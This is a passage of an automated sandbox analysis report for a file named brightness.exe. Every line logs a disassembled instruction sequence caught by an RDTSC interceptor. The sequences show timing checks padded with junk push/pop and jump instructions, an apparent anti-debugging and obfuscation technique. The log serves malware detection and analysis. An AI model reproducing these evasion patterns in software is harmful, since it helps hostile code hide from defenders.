Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5934CD second address: 5934D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5934D1 second address: 5934E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4600EB04E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5934E3 second address: 5934FA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4600C59B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 js 00007F4600C59B06h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5934FA second address: 5934FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5934FF second address: 593507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B97A6 second address: 4B97E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F4600EB04E8h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4600EB04F3h 0x00000019 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2E17 second address: 5A2E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2E27 second address: 5A2E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnc 00007F4600EB04E6h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2E35 second address: 5A2E4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B10h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2E4D second address: 5A2E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A29E5 second address: 5A2A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B19h 0x00000009 jmp 00007F4600C59B0Fh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2A12 second address: 5A2A17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2A17 second address: 5A2A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F4600C59B06h 0x0000000d jns 00007F4600C59B06h 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2B4C second address: 5A2B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5A2B50 second address: 5A2B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B64FC second address: 5B6501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B6501 second address: 5B652A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B17h 0x00000009 jbe 00007F4600C59B06h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B6830 second address: 5B684D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a js 00007F4600EB050Bh 0x00000010 jng 00007F4600EB04ECh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B684D second address: 5B6855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B69F3 second address: 5B6A05 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4600EB04E8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F4600EB04E6h 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B6A05 second address: 5B6A29 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F4600C59B12h 0x00000010 jp 00007F4600C59B08h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B701F second address: 5B7027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B7027 second address: 5B7043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B0Fh 0x00000009 pop edi 0x0000000a push ebx 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B71BE second address: 5B71C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B8D2A second address: 5B8D34 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4600C59B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5B8D34 second address: 5B8D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4600EB04F6h 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BA4A1 second address: 5BA4B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BE577 second address: 5BE591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BE591 second address: 5BE597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BE597 second address: 5BE59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BE59B second address: 5BE59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5BFCB7 second address: 5BFCBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5C1AE1 second address: 5C1B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4600C59B15h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F4600C59B06h 0x00000013 jng 00007F4600C59B06h 0x00000019 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70CAF second address: 4F70CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70CB5 second address: 4F70CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70CB9 second address: 4F70CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70CBD second address: 4F70CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4600C59B12h 0x00000012 and al, FFFFFFE8h 0x00000015 jmp 00007F4600C59B0Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70CEE second address: 4F70D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007F4600EB04EEh 0x0000000c sub al, 00000048h 0x0000000f jmp 00007F4600EB04EBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 call dword ptr [74E5188Ch] 0x0000001e mov edi, edi 0x00000020 push ebp 0x00000021 mov ebp, esp 0x00000023 push ecx 0x00000024 mov ecx, dword ptr [7FFE0004h] 0x0000002a mov dword ptr [ebp-04h], ecx 0x0000002d cmp ecx, 01000000h 0x00000033 jc 00007F4600EE1FC5h 0x00000039 mov eax, 7FFE0320h 0x0000003e mov eax, dword ptr [eax] 0x00000040 mul ecx 0x00000042 shrd eax, edx, 00000018h 0x00000046 mov esp, ebp 0x00000048 pop ebp 0x00000049 ret 0x0000004a pushad 0x0000004b mov ecx, edi 0x0000004d popad 0x0000004e pop ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 mov dx, cx 0x00000055 movzx ecx, dx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70D2A second address: 4FA0AA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ret 0x0000000b nop 0x0000000c xor esi, eax 0x0000000e lea eax, dword ptr [ebp-10h] 0x00000011 push eax 0x00000012 call 00007F460590F1C8h 0x00000017 mov edi, edi 0x00000019 pushad 0x0000001a push edx 0x0000001b pop ebx 0x0000001c mov dl, ch 0x0000001e popad 0x0000001f push ebp 0x00000020 jmp 00007F4600C59B14h 0x00000025 mov dword ptr [esp], ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b movsx ebx, ax 0x0000002e mov cx, 45A5h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AA1 second address: 4FA0AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AA7 second address: 4FA0AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AAB second address: 4FA0ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4600EB04F4h 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0ACB second address: 4FA0AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AD1 second address: 4FA0AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AD5 second address: 4FA0AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AD9 second address: 4FA0AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4600EB04EBh 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AF1 second address: 4FA0AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FA0AF5 second address: 4FA0AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0641 second address: 4FC0647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0647 second address: 4FC064B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC064B second address: 4FC06C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4600C59B16h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bx, 4504h 0x00000017 pushfd 0x00000018 jmp 00007F4600C59B0Dh 0x0000001d sbb si, 6846h 0x00000022 jmp 00007F4600C59B11h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F4600C59B18h 0x00000033 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC06C8 second address: 4FC06CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC06CE second address: 4FC06ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, cx 0x00000011 mov ax, 90D5h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60688 second address: 4F60704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F4600EB04EAh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007F4600EB04F0h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F4600EB04EBh 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F4600EB04F6h 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F4600EB04F7h 0x0000002f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60A5C second address: 4F60AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F4600C59B11h 0x0000000b add esi, 01B98B76h 0x00000011 jmp 00007F4600C59B11h 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a mov esi, edi 0x0000001c mov ebx, 73406BFEh 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 pushad 0x00000025 push edx 0x00000026 pop ecx 0x00000027 mov edx, 1794C2B0h 0x0000002c popad 0x0000002d movsx ebx, cx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 jmp 00007F4600C59B10h 0x00000038 push dword ptr [ebp+04h] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F4600C59B0Dh 0x00000044 and al, FFFFFFE6h 0x00000047 jmp 00007F4600C59B11h 0x0000004c popfd 0x0000004d mov esi, 5FDC6717h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60B8D second address: 4F60A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4600EB04F7h 0x00000009 xor ax, BE4Eh 0x0000000e jmp 00007F4600EB04F9h 0x00000013 popfd 0x00000014 jmp 00007F4600EB04F0h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c retn 0008h 0x0000001f push 002F7D58h 0x00000024 push edi 0x00000025 mov dword ptr [0033D6B4h], eax 0x0000002a call esi 0x0000002c mov edi, edi 0x0000002e jmp 00007F4600EB04EEh 0x00000033 xchg eax, ebp 0x00000034 pushad 0x00000035 call 00007F4600EB04EEh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0121 second address: 4FC0167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 pushfd 0x00000007 jmp 00007F4600C59B0Ah 0x0000000c or cl, FFFFFFA8h 0x0000000f jmp 00007F4600C59B0Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a movsx edi, si 0x0000001d mov edx, ecx 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F4600C59B0Ah 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4600C59B0Ah 0x00000031 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0167 second address: 4FC016D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC016D second address: 4FB0D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b jmp 00007F4600C59B14h 0x00000010 jmp dword ptr [74E51560h] 0x00000016 mov edi, edi 0x00000018 push ebp 0x00000019 mov ebp, esp 0x0000001b push esi 0x0000001c mov esi, dword ptr [ebp+08h] 0x0000001f push edi 0x00000020 mov edi, dword ptr fs:[00000018h] 0x00000027 cmp esi, 40h 0x0000002a jnc 00007F4600C59B17h 0x0000002c mov eax, dword ptr [ebp+0Ch] 0x0000002f mov dword ptr [edi+esi*4+00000E10h], eax 0x00000036 mov eax, 00000001h 0x0000003b pop edi 0x0000003c pop esi 0x0000003d pop ebp 0x0000003e retn 0008h 0x00000041 test eax, eax 0x00000043 je 00007F4600C59BB6h 0x00000049 call 00007F4600C5AB7Dh 0x0000004e mov edi, edi 0x00000050 push esi 0x00000051 call 00007F4600C586C1h 0x00000056 push 00000000h 0x00000058 call 00007F46059227FCh 0x0000005d mov edi, edi 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 call 00007F4600C59B10h 0x00000067 pop esi 0x00000068 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0D22 second address: 4FB0D3E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4600EB04F0h 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0D3E second address: 4FB0D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0D44 second address: 4FB0DBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F4600EB04F0h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov al, E3h 0x00000016 jmp 00007F4600EB04F3h 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e push esi 0x0000001f mov si, di 0x00000022 pop edx 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F4600EB04F5h 0x0000002e adc si, 95C6h 0x00000033 jmp 00007F4600EB04F1h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0DBC second address: 4FB0E1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov ax, C303h 0x0000000f call 00007F4600C59B18h 0x00000014 movzx ecx, di 0x00000017 pop edx 0x00000018 popad 0x00000019 mov eax, dword ptr [76FB65FCh] 0x0000001e jmp 00007F4600C59B0Ah 0x00000023 test eax, eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4600C59B17h 0x0000002c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E1A second address: 4FB0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4672E33015h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E43 second address: 4FB0E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E56 second address: 4FB0E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E5B second address: 4FB0E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 57E8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4600C59B0Ah 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E74 second address: 4FB0E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E7A second address: 4FB0E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0E7E second address: 4FB0EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4600EB04F5h 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0EA0 second address: 4FB0ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f mov dl, cl 0x00000011 popad 0x00000012 ror eax, cl 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4600C59B0Dh 0x0000001d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0ED1 second address: 4FB0ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0ED7 second address: 4FB0F01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4600C59B17h 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0F01 second address: 4FB0F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0F07 second address: 4FB0F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0A1C second address: 4FB0A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04ECh 0x00000009 rdtsc
